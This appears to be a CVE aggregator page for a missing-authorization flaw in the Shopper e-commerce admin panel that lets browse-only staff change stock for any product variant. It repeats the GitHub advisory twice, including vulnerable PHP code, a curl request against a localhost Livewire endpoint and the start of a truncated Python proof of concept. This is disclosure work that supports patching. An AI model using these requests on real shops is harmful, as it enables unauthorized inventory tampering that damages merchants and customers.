Every CVE Search/ Get API key

CVE-2026-56829

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

8.1 HighFix available

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
High

Exploit likelihood

0.50%Unchanged since Sep 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.1

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2.

Record
CVE-2026-56829
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
EUVDEUVD-2026-78914 8.1

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2.

Record
EUVD-2026-78914
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-g3f9-g5vj-p62f 8.1

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      =…
Record
GHSA-g3f9-g5vj-p62f
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
NVD 8.1

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2.

Record
CVE-2026-56829
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
OSV 8.1

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2.

Record
CVE-2026-56829
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
OSVGHSA-g3f9-g5vj-p62f 8.1

Shopper: Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Title

Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component

Description

A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
// Line 34 - unprotected, client-mutable variant binding
public $variant;

// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
    return Action::make('stock')
        ->label(__('shopper::forms.actions.update'))
        ->color('gray')
        ->icon(Untitledui::Package)
        ->modalHeading(__('shopper::pages/products.modals.variants.title'))
        ->modalWidth(Width::Large)
        ->schema([
            Select::make('inventory')
                ->label(__('shopper::pages/products.inventory_name'))
                ->options(Inventory::query()->pluck('name', 'id'))
                ->native(false)
                ->required(),
            TextInput::make('quantity')
                ->label(__('shopper::forms.label.quantity'))
                ->placeholder('-10 or -5 or 50, etc')
                ->numeric()
                ->required(),
        ])
        ->action(function (array $data): void {
            // ...calls $this->variant->mutateStock(...) or decreaseStock(...)
            // with no permission check anywhere in this path
        });
}

Steps to reproduce

Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.

# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
# Obtain them from a normal browser login, then use them below.

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 2: Load the product variant page for any variant ID (e.g., 1).
# Capture the Livewire snapshot from the page source.

# Step 3: Call the stock action on an arbitrary variant.
# The wire payload sets "component.variant" to any variant ID in the database.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "$XSRF" \
  -H "Cookie: $SESSION" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"VARIANT_STOCK_COMPONENT_ID\",\"data\":{\"variant\":42},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{"path":"","method":"callAction","params":["stock",{"inventory":1,"quantity":999}]}]
    }]
  }'
# Expected: HTTP 200, variant 42 stock increased by 999 regardless of caller permissions.

Proof of concept

#!/usr/bin/env python3
"""
VariantStock authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  VARIANT_ID      integer ID of any target variant
  INVENTORY_ID    integer ID of the target inventory location
  QUANTITY        integer quantity adjustment (positive or negative)
"""

import json
import os
import requests

base_url      =…
Record
GHSA-g3f9-g5vj-p62f
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
shopper/framework
Packagist
before 2.9.2
2.9.2
shopper/framework
Packagist
before 2.9.2, plus listed versions
v2.0.0v2.0.0-alphav2.0.0-betav2.0.0-beta10v2.0.0-beta11
Show 45 moreShow less
v2.0.0-beta12v2.0.0-beta13v2.0.0-beta14v2.0.0-beta15v2.0.0-beta16v2.0.0-beta17v2.0.0-beta18v2.0.0-beta19v2.0.0-beta2v2.0.0-beta20v2.0.0-beta21v2.0.0-beta3v2.0.0-beta4v2.0.0-beta5v2.0.0-beta6v2.0.0-beta7v2.0.0-beta8v2.0.0-beta9v2.0.1v2.0.2v2.0.3v2.1.1v2.1.2v2.1.3v2.1.4v2.1.5v2.1.6v2.2v2.2.1v2.2.2v2.2.3v2.2.4v2.2.5v2.2.6v2.2.7v2.3v2.3.1v2.3.2v2.3.3v2.4.0v2.4.1v2.4.2v2.4.3v2.5.0v2.5.1
2.9.2

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-56829 is a high vulnerability (CVSS 8.1) in Shopperdotcom Shopper, published September 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.50%, the 43rd percentile. Fixed in shopper/framework 2.9.2.

References

This page doesn't list everything

Left out here: 13 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open